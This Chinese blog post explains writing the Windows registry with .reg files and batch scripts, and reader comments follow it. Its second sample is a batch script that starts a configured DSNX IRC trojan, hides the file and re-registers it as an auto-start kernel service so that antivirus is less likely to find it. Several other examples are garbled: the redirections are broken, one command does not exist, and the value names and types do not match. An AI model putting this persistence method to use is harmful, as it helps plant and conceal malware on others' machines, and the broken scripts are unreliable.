批处理写注册表

批处理写注册表         在上篇文章中谈到了JavaScript读写注册表,其实这种方法有种局限性,那就是提示安装Active控件.这样就达不到我们要的效果了.今天刘志猛就向大家介绍批处理写注册表

        关于注册表的操作,常见的是创建、修改、删除。

 

1.创建

创建分为两种,一种是创建子项(Subkey)

我们创建一个文件,内容如下:

Windows Registry Editor Version 5.00

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\hacker]

然后执行该脚本,你就已经在HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft下

创建了一个名字为“hacker”的子项。

另一种是创建一个项目名称

那这种文件格式就是典型的文件格式,和你从注册表中导出的文件格式一致,内容如下:

Windows Registry Editor Version 5.00

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]

"Invader"="Ex4rch"

"Door"=C:\\WINNT\\system32\\door.exe

"Autodos"=dword:02

这样就在[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]下

新建了:Invader、door、about这三个项目

Invader的类型是“String Value”

door的类型是“REG SZ Value”

Autodos的类型是“DWORD Value”


2.修改

修改相对来说比较简单,只要把你需要修改的项目导出,然后用记事本进行修改,然后导入(regedit /s)即可。

3.删除

我们首先来说说删除一个项目名称,我们创建一个如下的文件:

Windows Registry Editor Version 5.00

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]

"Ex4rch"=-

执行该脚本,[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]下的"Ex4rch"就被删除了;

我们再看看删除一个子项,我们创建一个如下的脚本:

Windows Registry Editor Version 5.00

[-HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]

执行该脚本,[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]就已经被删除了。
相信看到这里,.reg文件你基本已经掌握了。那么现在的目标就是用批处理来创建特定内容的.reg文件了,记得我们前面说道的利用重定向符号可以很容易地创建特定类型的文件。
samlpe1:如上面的那个例子,如想生成如下注册表文件

Windows Registry Editor Version 5.00

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]

"Invader"="Ex4rch"

"door"=hex:255

"Autodos"=dword:000000128

只需要这样:

@echo Windows Registry Editor Version 5.00>>Sample.reg

@echo [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]>Sample.reg

@echo "Invader"="Ex4rch">>Sample.reg

@echo "door"=5>>C:\\WINNT\\system32\\door.exe>>Sample.reg

@echo "Autodos"=dword:02>>Sample.reg

samlpe2:

我们现在在使用一些比较老的木马时,可能会在注册表的[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run(Runonce、Runservices、Runexec)]下生成一个键值用来实现木马的自启动.但是这样很容易暴露木马程序的路径,从而导致木马被查杀,相对地若是将木马程序注册为系统服务则相对安全一些.下面以配置好地IRC木马DSNX为例(名为windrv32.exe)

@start windrv32.exe

@attrib +h +r windrv32.exe

@echo [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run] >>patch.dll

@echo "windsnx "=- >>patch.dll

@sc.exe create Windriversrv type= kernel start= auto displayname= WindowsDriver binpath= c:\winnt\system32\windrv32.exe

@regedit /s patch.dll

@delete patch.dll

@REM [删除DSNXDE在注册表中的启动项,用sc.exe将之注册为系统关键性服务的同时将其属性设为隐藏和只读,并config为自启动]

        对于对DOS了解不深的朋友们,以上方法可能有点难理解。不过没有关系,我还有一种更简单的方法.

首先新建一个aaa.txt文件.写上:reg add "HKEY_LOCAL_MACHINE\SOFTWARE\cas" /v cValue /t reg_sz /d 1 /f然后保存为aaa.bat 格式的批处理文件即可,双击它就会在HKEY_LOCAL_MACHINE\SOFTWARE\cas下创建一个cValue建,值为1

[本日志由 liuzm 于 2010-08-31 09:23 AM 编辑]
上一篇: 病毒初思:JavaScript读写注册表
下一篇: Windows安全模式的使用技巧
文章来自: 本站原创
引用通告: 查看所有引用 | 我要引用此文章
Tags: 网络安全 Dos
相关日志:
评论: 25 | 引用: 0 | 查看次数: -
玄幻小说完本[2011-05-08 02:14 PM | | | 117.39.39.17 | del | 回复回复]
25#
博客给力啊 继续加油
小说排行榜[2011-05-08 02:11 PM | | | 117.39.39.17 | del | 回复回复]
24#
这个文章很好  受益了
阿修罗[2010-09-07 10:41 AM | | | 113.109.132.133 | del | 回复回复]
23#
注册表还真麻烦
真好[2010-09-05 02:56 PM | | | 117.79.87.15 | del | 回复回复]
22#
一般很少改注册表。用什么网络电视之类的我会导入一些创建好的进去。
番薯窝[2010-09-04 08:36 PM | | | 183.63.1.94 | del | 回复回复]
21#
注册表还是比较危险的东西,还是注意点好哦
xizi[2010-09-04 03:16 PM | | | 119.62.205.244 | del | 回复回复]
20#
动注册表啊?我都是先搜索的。
学夫子[2010-09-04 10:11 AM | | | 221.7.107.93 | del | 回复回复]
19#
还有这样的方法,真是落后了, 我学了两天注册表,第一次见这些
疾风[2010-09-03 11:23 AM | | | 222.210.183.161 | del | 回复回复]
18#
又涨见识了  呵呵
ttkea[2010-09-02 10:59 PM | | | 121.229.202.132 | del | 回复回复]
17#
额,我不敢动注册表,那玩意太危险了~
卢松松[2010-09-02 10:08 AM | | | 210.192.100.226 | del | 回复回复]
16#
主要是干嘛用的?
回复来自 liuzm liuzm 回复 [2010-09-02 11:04 AM]
要检测客户机是否安装了软件!所以要向注册表写值
冷轩信[2010-09-02 03:09 AM | | | 58.210.127.60 | del | 回复回复]
15#
注册表,很多破解软件里都有那个写入的
疯子[2010-09-01 08:51 PM | | | 114.237.13.0 | del | 回复回复]
14#
貌似刘哥要做坏事了呀!
雅丹博客[2010-09-01 09:55 AM | | | 60.166.125.104 | del | 回复回复]
13#
不错 多学习学习
太阳博客[2010-09-01 07:45 AM | | | 119.113.222.198 | del | 回复回复]
12#
俺是来学习滴,谢谢。
企业网站建设[2010-08-31 08:11 PM | | | 120.82.113.239 | del | 回复回复]
11#
技术文章,一定要顶下。
学夫子[2010-08-31 06:35 PM | | | 58.17.253.181 | del | 回复回复]
10#
这个强大,我只会修改一些简单的注册表
七七[2010-08-31 06:35 PM | | | 121.63.28.237 | del | 回复回复]
9#
介绍的挺详细,学习了!
飞猪[2010-08-31 06:33 PM | | | 183.38.190.124 | del | 回复回复]
8#
好方法。。。
健康生活[2010-08-31 04:24 PM | | | 183.14.235.115 | del | 回复回复]
7#
这方法不错
我心飞翔[2010-08-31 04:13 PM | | | 222.137.122.176 | del | 回复回复]
6#
这种方法比较方便
Firm[2010-08-31 04:04 PM | | | 120.33.161.81 | del | 回复回复]
5#
注册表部分的实在不懂,只能附和下
睿智小超人[2010-08-31 02:04 PM | | | 183.0.168.16 | del | 回复回复]
4#
最后四行才是重点
timberlandboots[2010-08-31 11:12 AM | | | 61.132.128.138 | del | 回复回复]
地板
高手,佩服
黄伟涛[2010-08-31 10:33 AM | | | 59.42.21.104 | del | 回复回复]
板凳
技术帖子要关注呀!
kedeng美女博客[2010-08-31 09:51 AM | | | 61.191.20.23 | del | 回复回复]
沙发
这些都没怎么在意哈
发表评论
昵 称:
密 码: 游客发言不需要密码.
邮 箱: 邮件地址支持Gravatar头像,邮箱地址不会公开.
网 址: 输入网址便于回访.
内 容:
验证码:
选 项:
虽然发表评论不用注册,但是为了保护您的发言权,建议您注册帐号.
字数限制 1000 字 | UBB代码 开启 | [img]标签 关闭